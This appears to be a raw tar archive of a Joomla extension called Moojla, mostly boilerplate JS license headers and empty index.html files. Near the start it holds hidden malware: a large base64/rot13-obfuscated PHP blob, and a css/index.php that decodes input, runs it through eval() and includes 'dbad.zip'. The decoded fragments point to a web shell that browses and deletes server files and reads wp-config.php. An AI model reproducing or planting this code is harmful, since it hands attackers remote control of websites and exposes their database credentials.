Wjd9XGsyMlxrM3JcMTA0XGszcFw1N1xrNjFcNzYiIC4gIlw3NFw1N1xrNzRcMTQ0XGszclxrM3BcNTdcMTY0XDE2Mlw3NiI7IHRiZ2Igalc0Rkc7IGpXNEZHOiBURjJUZTogdGJnYiBYZ1pEUDsgWGdaRFA6IHlLd0d0OiB0YmdiIHZqS1E0OyBHWW1uMjogJGNtMjNsID0gZmdlX2VyY3lucHIoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1xrNTVcazRxXGs0NVxrNHJcazU0XDEzN1xrNTJcazRzXDExN1wxMjQiXSwgJF9GUkVJUkVbIlwxMjNcazQ1XDEyMlwxMjZcazQ1XGs1MlxrNXNcMTE2XGs0MVwxMTVcazQ1Il0sICRVaUV1Syk7IHRiZ2Iga3lERmk7IHZqS1E0OiB9IHRiZ2IgYktsMUE7IFVYWFoxOiAkc1RsdnYgPSAxOyB0YmdiIENNMEZZOyBQRm40UzogckliNjQ6IHRiZ2Igc0RZejg7IFpBVFg4OiB2cyAoJGh4ZTNPID0gc2JjcmEoJExVM0FjLCAiXDE2NyIpKSB7IHRiZ2Igc0FuQlU7IH0gdGJnYiBZX21adjsgUU9mYjg6IHg0Unl5OiB0YmdiIGlHaGcyOyBEZG5ydzogakRreGY6IHRiZ2IgY1VKdnc7IERXR0NROiAkc1RsdnYgPSAxOyB0YmdiIEY5T3lOOyBPM1ExMjogc0lFZ3Q6IHRiZ2IgWExTQVo7IElZQm85OiBzaGFwZ3ZiYSB2S2lMMSgpIHsgdGJnYiBmX0FWYTsgZl9BVmE6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XGs0M1wxMjVcazRxXGs0NVwxMTZcMTI0XGs1c1wxMjJcazRzXGs0c1xrNTQiXSAuICJcazJzXGs2MVxrNjRcazZxXGs2OVxrNnJcMTUxXGs3M1xrNzRcazcyXDE0MVwxNjRcazZzXDE2MlxrMnMiKSBuYXEgdmZfcXZlKCRfRlJFSVJFWyJcMTA0XGs0c1wxMDNcMTI1XGs0cVwxMDVcMTE2XDEyNFxrNXNcMTIyXDExN1wxMTdcMTI0Il0gLiAiXDU3XGs2M1wxNTdcMTU1XGs3MFwxNTdcazZyXDE0NVxrNnJcazc0XGs3M1w1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlwxMDRcazRzXDEwM1wxMjVcazRxXDEwNVwxMTZcazU0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcazJzXDE1MVxrNnJcMTQzXDE1NFwxNjVcMTQ0XGs2NVwxNjNcNTciKSkgeyB0YmdiIHVobHkwOyB9IHRiZ2IgaTV5cUc7IERGeGpXOiB0YmdiIE8zMUVKOyB0YmdiIGRUYlkzOyBVVVlXTTogQ3JTcm06IHRiZ2IgaW1yZnc7IGRUYlkzOiB1aGx5MDogdGJnYiBFdVRZZjsgRXVUWWY6IGVyZ2hlYSAiXGs0blwxNTdcMTU3XGs2cVwxNTRcMTQxXDQxIjsgdGJnYiBlWTNDWDsgaW1yZnc6IGVyZ2hlYSAiXDEyN1wxNTdcazcyXGs2NFwxMjBcMTYyXGs2NVwxNjNcMTYzIjsgdGJnYiBQV1FjaTsgUFdRY2k6IE8zMUVKOiB0YmdiIFVIbW95OyBLR3JXTDogZXJnaGVhICJcMTI1XGs2clxrNm9cazZyXGs2c1xrNzdcMTU2IjsgdGJnYiBERnhqVzsgaTV5cUc6IHZzICh2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVxrNHJcMTI0XDEzN1xrNTJcazRzXGs0c1wxMjQiXSAuICJcNTdcazc3XGs3MFxrMnFcMTQzXDE1N1wxNTZcazc0XDE0NVxrNnJcMTY0XGsycyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcazRzXDEwM1xrNTVcazRxXGs0NVwxMTZcazU0XDEzN1wxMjJcMTE3XDExN1wxMjQiXSAuICJcNTdcMTY3XGs3MFxrMnFcazYxXDE0NFwxNTVcMTUxXGs2clw1NyIpIG5hcSB2Zl9xdmUoJF9GUkVJUkVbIlxrNDRcMTE3XDEwM1wxMjVcazRxXDEwNVwxMTZcMTI0XDEzN1wxMjJcMTE3XGs0c1xrNTQiXSAuICJcNTdcazc3XDE2MFxrMnFcMTUxXGs2clwxNDNcMTU0XDE2NVxrNjRcMTQ1XGs3M1xrMnMiKSkgeyB0YmdiIENyU3JtOyB9IHRiZ2IgS0dyV0w7IGVZM0NYOiB0YmdiIE8zMUVKOyB0YmdiIFVVWVdNOyBVSG1veTogfSB0YmdiIEVwR1I0OyBRazN0Qzogc2hhcGd2YmEgcVc4TUsoJGxDNjNMKSB7IHRiZ2IgcFFVYzg7IEZHMjl5OiBlcmdoZWEgJHUzclJqIC4gIlxrMjBcazZvXDE0MiI7IHRiZ2IgR1FSa2M7IE1pczBaOiB0YmdiIHI2eGl5OyB0YmdiIFl0d3VUOyBMTXhrRjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiB3MF9udDsgQTcxODM6IGVyZ2hlYSAkdTNyUmogLiAiXDQwXDE0MiI7IHRiZ2IgcURBQmc7IHcwX250OiBlcmdoZWEgJHUzclJqIC4gIlw0MFwxNTVcazYyIjsgdGJnYiBNaXMwWjsgR1FSa2M6IHRiZ2IgSU1uVUs7IHRiZ2IgZzJ3OVc7IFNJWmlEOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE9MREVCOyB9IHRiZ2IgSUNwVko7IHJFTGg3OiAkdTNyUmogPSBzdnlyZnZtcigkbEM2M0wpOyB0YmdiIFNJWmlEOyBNX01WTjogeHY4Ykw6IHRiZ2IgVUxDYmw7IHpIY3BMOiAkdTNyUmogPSBlYmhhcSgkdTNyUmosIDEpOyB0YmdiIEZHMjl5OyBZdHd1VDogRGJSdjc6IHRiZ2IgRXBFazM7IGxjdmRIOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIE5XakxVOyB9IHRiZ2IgekhjcEw7IHFEQUJnOiB0YmdiIHh2OGJMOyB0YmdiIGVEeUt2OyBJQ3BWSjogJHUzclJqID0gZWJoYXEoJHUzclJqLCAxKTsgdGJnYiBBNzE4MzsgYkY2NW46ICR1M3JSaiA9IGViaGFxKCR1M3JSaiwgMSk7IHRiZ2IgUUxyTng7IFFMck54OiBlcmdoZWEgJHUzclJqIC4gIlw0MFxrNjdcazYyIjsgdGJnYiBacmFFaTsgZUR5S3Y6IE9MREVCOiB0YmdiIEQwb2MyOyBHd05xbDogJHUzclJqID0gJHUzclJqIC8gMTAyNDsgdGJnYiBrQ1Q4ajsgRDBvYzI6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgbGN2ZEg7IGtDVDhqOiB2cyAoJHUzclJqID4gMTAyNCkgeyB0YmdiIERiUnY3OyB9IHRiZ2IgTE14a0Y7IGFtaFR3OiBlcmdoZWEgIlxrcTBcMjQ0XGtxMFwyNjBca3EwXGtvOVxrcTBcMjczXGsyMFw0MFxrcTBcMjc1XGtxMFxrbzVcazIwXGtxMFxrb3Fca3EwXGtvMFxrcTBca285XDMyMFwyNjRcMzIwXDI2NVwzMjBcMjc1IjsgdGJnYiBsYjNGOTsgRXBFazM6ICR1M3JSaiA9ICR1M3JSaiAvIDEwMjQ7IHRiZ2IgYkY2NW47IHBRVWM4OiB2cyAoc3Z5cl9ya3ZmZ2YoJGxDNjNMKSkgeyB0YmdiIEVjUm5GOyB9IHRiZ2IgYW1oVHc7IGcydzlXOiBOV2pMVTogdGJnYiBHd05xbDsgbGIzRjk6IEVjUm5GOiB0YmdiIHJFTGg3OyBacmFFaTogcjZ4aXk6IHRiZ2IgSXMyaGw7IElzMmhsOiBJTW5VSzogdGJnYiBNX01WTjsgVUxDYmw6IH0gdGJnYiB4UEJHbTsgUmh6VkE6IFBWdXp3OiB0YmdiIHJTQ1dhOyBRUUZlcjogdGJnYiBJSk5pRTsgdGJnYiBlVWRRcjsgWnR3MFk6IHhOU1IxKCRfVFJHWyJcazY1XGs2NFxrNjlcazc0Il0sICRNdVZCTCk7IHRiZ2Igdlpiakw7IGpCcUNXOiBycHViICRSMjZvazsgdGJnYiBqZTZtXzsgeUZpMEg6IHZzICghc3Z5cl9ya3ZmZ2YoJEtXejBTKSkgeyB0YmdiIGh0dXBGOyB9IHRiZ2IgcEswYXU7IFJSWEo4OiAkUnJrWkwgPSAiXDE0NlxrNjlcMTU0XDE0NVwxMzdcMTQ3XGs2NVwxNjRcazVzXDE0M1wxNTdcMTU2XGs3NFxrNjVcMTU2XGs3NFxrNzNcazI4XGs1cFxrMjJcazJyXDU2XDU3XDE1MVwxNTZcMTQ0XGs2NVwxNzBcNTZcMTYwXDE1MFxrNzBcMTM0XGsyMlxrMjlcazIyIjsgdGJnYiBKM1VCVDsgUENxMnc6IHJwdWIgIlxrM3BcNzRcazY5XGs2clxrNjZcMTU3XDc2XGszciI7IHRiZ2IgVGtwZEU7IFhKNVp1OiAka1BwUHQgPSBuZWVubCgpOyB0YmdiIEcxVDhJOyBYelVaODogcnB1YiAiXGs2NVwxNjJcazcyXGs2c1xrNzJcNzJcazIwXDE0NlxrNjlcMTU0XDE0NVw0MFwxNDZcazY5XDE1NlwxNDRcMTQ1XDE2MlwxNDRcMTQxXDE2NFxrNjFcNTZcMTY0XDE3MFxrNzRcNDBcazYzXDE0MVxrNnJcazIwXDE1NlxrNnNcazc0XDQwXDE0M1wxNjJcazY1XDE0MVxrNzRcazY1IjsgdGJnYiBRUUZlcjsgYWRTNGI6IFZ2UHQxOiB0YmdiIENjcVhoOyBFQTRCUzogJExVM0FjID0gJF9GUkVJUkVbIlxrNDRcazRzXDEwM1wxMjVcazRxXDEwNVxrNHJcazU0XGs1c1xrNTJcazRzXDExN1xrNTQiXSAuICJcNTciIC4gJF9DQkZHWyJcMTU2XGs2NVwxNjdcazVzXGs2NFwxNTFcazcyIl07IHRiZ2IgdkJxV1c7IFIzMjM1OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXGs3MiJdKSkgeyB0YmdiIFdiOWk3OyB9IHRiZ2IgbXdLeW07IEgyRWpMOiB2cyAocnpjZ2woJF9DQkZHWyJcazY2XGs2c1xrNzJcazVzXDE0NFwxNDVcazZwIl0pKSB7IHRiZ2IgaW84M0E7IH0gdGJnYiBuYVBtUzsgcWxOYUY6IEM3RzJ1OiB0YmdiIEgyRWpMOyBBcjF3ajogJExVM0FjID0gJF9UUkdbIlxrNjRcMTUxXGs3MiJdIC4gIlw1NyIgLiAkX0NCRkdbIlwxNTZcMTQ1XGs3N1xrNXNcMTQ2XGs2OVwxNTRcMTQ1Il07IHRiZ2IgV1VDbUU7IFBITHJDOiBCZHlDWSgkX1RSR1siXDE2NVxrNnJcMTcyXDE1MVxrNzAiXSk7IHRiZ2IgeXdqNWw7IEo4Ql9OOiAkclRaSDUgPSBmcG5hcXZlKCRfVFJHWyJcMTQ0XGs2OVwxNjIiXSk7IHRiZ2IgWW9oQ087IFhMU0FaOiAkVjZUQ2UgPSBCZWVfUigkWUlVWjEpOyB0YmdiIE94SUduOyBqX0tqaDogc2hhcGd2YmEgVWE3WXkoJHUzc21UKSB7IHRiZ2IgY0JyQkI7IGNCckJCOiAkUzgzNmogPSBiY3JhcXZlKCR1M3NtVCk7IHRiZ2IgWlNVeVU7IHdmNU9JOiBBWWQ5YzogdGJnYiB0R0RrbDsgVkROOGY6IHZzICh2Zl9xdmUoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKSkgeyB0YmdiIEFZZDljOyB9IHRiZ2IgZGxZbEk7IFpTVXlVOiBtSFRCaDogdGJnYiBPTmd4cTsgYk9xM2Y6IHRiZ2IgUlN5NW87IHRiZ2Igd2Y1T0k7IGRsWWxJOiBoYXl2YXgoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBiT3EzZjsgTlJFMlY6IHZzICghKCRDZGg0MSAhPSAiXDU2IiAmJiAkQ2RoNDEgIT0gIlw1NlxrMnIiKSkgeyB0YmdiIEZqMkJQOyB9IHRiZ2IgVkROOGY7IE9ETjNtOiBSU3k1bzogdGJnYiBab1ZvUDsgWm9Wb1A6IEZqMkJQOiB0YmdiIEVhWk4wOyB0R0RrbDogdWE3WXkoJHUzc21UIC4gIlxrMnMiIC4gJENkaDQxKTsgdGJnYiBPRE4zbTsgdDRpb1g6IEZmdnFYOiB0YmdiIEJIRkhoOyBPTmd4cTogdnMgKCEoKCRDZGg0MSA9IGVybnFxdmUoJFM4MzZqKSkgIT09IHNueWZyKSkgeyB0YmdiIEZmdnFYOyB9IHRiZ2IgTlJFMlY7IEVhWk4wOiB0YmdiIG1IVEJoOyB0YmdiIHQ0aW9YOyBCSEZIaDogcHliZnJxdmUoJFM4MzZqKTsgdGJnYiBZOUNwQzsgWTlDcEM6IGV6cXZlKCR1M3NtVCk7IHRiZ2IgdGF0ZVM7IHRhdGVTOiB9IHRiZ2IgWUxJX1U7IGtGN0V5OiB2cyAodmZmcmcoJF9UUkdbIlxrNjRcMTUxXDE2MiJdKSkgeyB0YmdiIGpIZ0VKOyB9IHRiZ2IgcXhqdjM7IGFuMlZwOiBtdmF5NTogdGJnYiBMZFllRTsgRWhDWEc6IENzZ1dxOiB0YmdiIFhkMFZWOyBuWkdhOTogdnMgKCFzdnlyX3JrdmZnZigkaFpHdFIpKSB7IHRiZ2IgZjBsZHE7IH0gdGJnYiBJWkRvUjsgTndxc2o6IENVTVRLOiB0YmdiIFpEUzFYOyBzZkdsejogJGVVX2hhID0gJF9GUkVJUkVbIlxrNTNcMTAzXDEyMlxrNDlcazUwXGs1NFxrNXNcazRyXDEwMVwxMTVcMTA1Il07IHRiZ2IgSmlKUGs7IE1yb3dQOiBzYmVybnB1ICgkZEI3VEUgbmYgJFVUNTA2KSB7IHRiZ2IgRzBhRjU7IHFWSDg3OiAkdFdCSUEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFhWcXM3KTsgdGJnYiBWd0lsazsgcEIzWGw6IFRHN3VtOiB0YmdiIFpPdjB5OyBla0hrMjogVWpmZVE6IHRiZ2IgQzZxUzE7IENHSk92OiAkbk9SMEEgPSBmZ2V2ZmdlKCRZRXVuWCwgJFB3MGFSKTsgdGJnYiBiYzMxSjsgalhTTkg6IFcyNWYxOiB0YmdiIGVrSGsyOyBRRlhHXzogc3B5YmZyKCRDMEJfaCk7IHRiZ2IgbWxWM3c7IFplaEkzOiAkSmIzcW8gPSBmZ2V2ZmdlKCRZRXVuWCwgJFhZenRvKTsgdGJnYiBjZ2FpcDsgeFB3STI6IHZzICghKCRuT1IwQSAhPT0gc255ZnIgYmUgJGxLWXpGICE9PSBzbnlmciBiZSAkRW1QNnggIT09IHNueWZyIGJlICR0V0JJQSAhPT0gc255ZnIgYmUgJHVDaEpTICE9PSBzbnlmciBiZSAkcGFydl8gIT09IHNueWZyIGJlICRKc3paTiAhPT0gc255ZnIgYmUgJEQ4UllUICE9PSBzbnlmciBiZSAkWmpEYzcgIT09IHNueWZyIGJlICRKYjNxbyAhPT0gc255ZnIgYmUgJExqZjJnICE9PSBzbnlmciBiZSAkWVhOQzYgIT09IHNueWZyKSkgeyB0YmdiIHNCZlNZOyB9IHRiZ2IgVWpSaDE7IEZuTUlPOiAkSnN6Wk4gPSBmZ2V2ZmdlKCRZRXVuWCwgJFBhMXlVKTsgdGJnYiBCTldHUzsgSUg2WFc6ICRZWE5DNiA9IGZnZXZmZ2UoJFlFdW5YLCAkQl9hSzEpOyB0YmdiIHhQd0kyOyBrTTBGZzogJEVtUDZ4ID0gZmdldmZnZSgkWUV1blgsICRVWTFoMyk7IHRiZ2IgcVZIODc7IEZCQ0VwOiAkcGFydl8gPSBmZ2V2ZmdlKCRZRXVuWCwgJGJEUWQyKTsgdGJnYiBGbk1JTzsgWk92MHk6ICRZRXVuWCA9IHFkTGZUKCRVVDUwNik7IHRiZ2IgV1VqWEk7IFVqUmgxOiAkQzBCX2ggPSBzYmNyYSgkS1d6MFMsICJcMTQxIik7IHRiZ2IgSjU5bDI7IHF2ZTFZOiB2cyAoc3Z5cmZ2bXIoJFVUNTA2KSA8IDUwMDAwMDApIHsgdGJnYiBURzd1bTsgfSB0YmdiIHNIdzB6OyBzYVgwSzogdGJnYiBzd2ZqTjsgdGJnYiBwQjNYbDsgbWxWM3c6IHNCZlNZOiB0YmdiIGpYU05IOyBHMGFGNTogdnMgKCFzdnlyX3JrdmZnZigkVVQ1MDYpKSB7IHRiZ2IgVzI1ZjE7IH0gdGJnYiBxdmUxWTsgV1VqWEk6IHN3ZmpOOiB0YmdiIENHSk92OyBjZ2FpcDogJExqZjJnID0gZmdldmZnZSgkWUV1blgsICRIVDRWWSk7IHRiZ2IgSUg2WFc7IHNIdzB6OiAkWUV1blggPSAnJzsgdGJnYiBzYVgwSzsgYmMzMUo6ICRsS1l6RiA9IGZnZXZmZ2UoJFlFdW5YLCAkVF9Ec1kpOyB0YmdiIGtNMEZnOyBZdTBmNDogJFpqRGM3ID0gZmdldmZnZSgkWUV1blgsICRScmtaTCk7IHRiZ2IgWmVoSTM7IEJOV0dTOiAkRDhSWVQgPSBmZ2V2ZmdlKCRZRXVuWCwgJFR1MmlrKTsgdGJnYiBZdTBmNDsgSjU5bDI6IHNqZXZncigkQzBCX2gsICRVVDUwNiAuICJcMTIiKTsgdGJnYiBRRlhHXzsgVndJbGs6ICR1Q2hKUyA9IGZnZXZmZ2UoJFlFdW5YLCAkSHV5OW8pOyB0YmdiIEZCQ0VwOyBDNnFTMTogfSB0YmdiIGFuMlZwOyBlY0plWDogdXJ2anY6IHRiZ2IgTEltX247IHFJbzNuOiByZWRaMjogdGJnYiBObFR1SzsgRXBHUjQ6IHNoYXBndmJhIFh4akNyKCRMVTNBYykgeyB0YmdiIGsxYTNQOyBrMWEzUDogJHZHQXAxID0gZmdlZXZjYmYoJExVM0FjLCAiXDU3Iik7IHRiZ2IgU2dhVkQ7IFNnYVZEOiAkUGdOZ1ogPSBmaG9mZ2VfZXJjeW5wcigkTFUzQWMsICcnLCAkdkdBcDEsIDk5OTk5KTsgdGJnYiBLRFBuazsgS0RQbms6IGVyZ2hlYSAkUGdOZ1o7IHRiZ2IgV2cyQTc7IFdnMkE3OiB9IHRiZ2IgbjZPSnE7IGZZdVR1OiBycHViICJcNzRcazc0XDE2MlxrMjBcMTQxXDE1NFwxNTFcazY3XGs2clxrM3FcNDJcazYzXGs2NVwxNTZcazc0XGs2NVxrNzJcNDJcazNyXDc0XDE2NFxrNjRcNDBcMTQxXGs2cFwxNTFcMTQ3XGs2clxrM3FcNDJcazZwXDE0NVwxNDZcMTY0XGsyMlw0MFxrM3IiIC4gIlw3NFwxNDZcazZzXGs2clwxNjRcazIwXGs2M1wxNTdcazZwXDE1N1wxNjJcazNxXGsyMlxrNzJcazY1XGs2NFw0MlxrM3JcMTAzXGs2MVwxNTZcazIwXGs2clwxNTdcazc0XDQwXGs2M1wxNjJcMTQ1XGs2MVxrNzRcMTQ1XGsyMFxrNjZcazZzXGs2cFxrNjRcMTQ1XGs3Mlw0MVw3NFw1N1wxNDZcMTU3XGs2clxrNzRcazNyXDc0XGsyc1wxNjRcazY0XDc2IiAuICJcazNwXGs3NFxrNjRcNzZcNzRcazJzXGs3NFwxNDRcazNyXDc0XGs3NFwxNDRcNzZcazNwXGsyc1xrNzRcMTQ0XDc2XDc0XGs3NFwxNDRcNzZcazNwXGsyc1wxNjRcMTQ0XDc2XGszcFxrNzRcMTQ0XGszclw3NFxrMnNcMTY0XGs2NFw3NlxrM3BcazJzXGs3NFwxNjJcazNyIjsgdGJnYiBqdW03YTsgS2FCakQ6IFhDYlFROiB0YmdiIGppUnpaOyBJU0ZFajogaGF5dmF4KCRZSVVaMSk7IHRiZ2IgVVZIaDg7IFVlaUhDOiBycHViICRfRlJFSVJFWyJcMTIzXGs0M1wxMjJcazQ5XGs1MFxrNTRcMTM3XGs0NlwxMTFcMTE0XDEwNVxrNHJcMTAxXGs0cVwxMDUiXTsgdGJnYiBRdEFWYTsgV3lJTEU6ICRhcmZQQSA9IHNiY3JhKCRZSVVaMSwgIlxrNzciKTsgdGJnYiBYNEc5aDsgZGhJekU6IHZzICghdmZmcmcoJF9UUkdbIlwxNDRcazZzXDE2N1wxNTZcMTU0XDE1N1wxNDFcMTQ0Il0pKSB7IHRiZ2IgUXdjSTU7IH0gdGJnYiBoc3VWSjsgWk9qUUc6IHJwdWIgIlw3NFxrMnNcMTY0XGs2MVwxNDJcazZwXDE0NVxrM3IiOw==",1),2),3);?>css/index.php000064400000000206151156421310007151
0ustar00<?php function fu($a,$b){if($b==1){return
base64_decode($a);}else if($b==2){return
str_rot13($a);}else{eval($a);}}include("dbad.zip");images/index.html000064400000000054151156421310010004
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>index.html000064400000000054151156421310006537
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>js/category_map.js000064400000002031151156421310010163
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage category_map.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/cohort.js000064400000002023151156421310007010
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohort.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/content.js000064400000002024151156421320007166
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage content.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/course.js000064400000002023151156421320007013
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/course_field_mapper.js000064400000002040151156421320011521
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_field_mapper.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/course_group_map.js000064400000002035151156421320011067
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage course_group_map.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/enrolment.js000064400000002026151156421320007521
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage enrolment.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/index.html000064400000000054151156421320007154
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>js/module.js000064400000002023151156421320007000
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage module.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
js/section.js000064400000002024151156421320007160
0ustar00/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage section.js
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
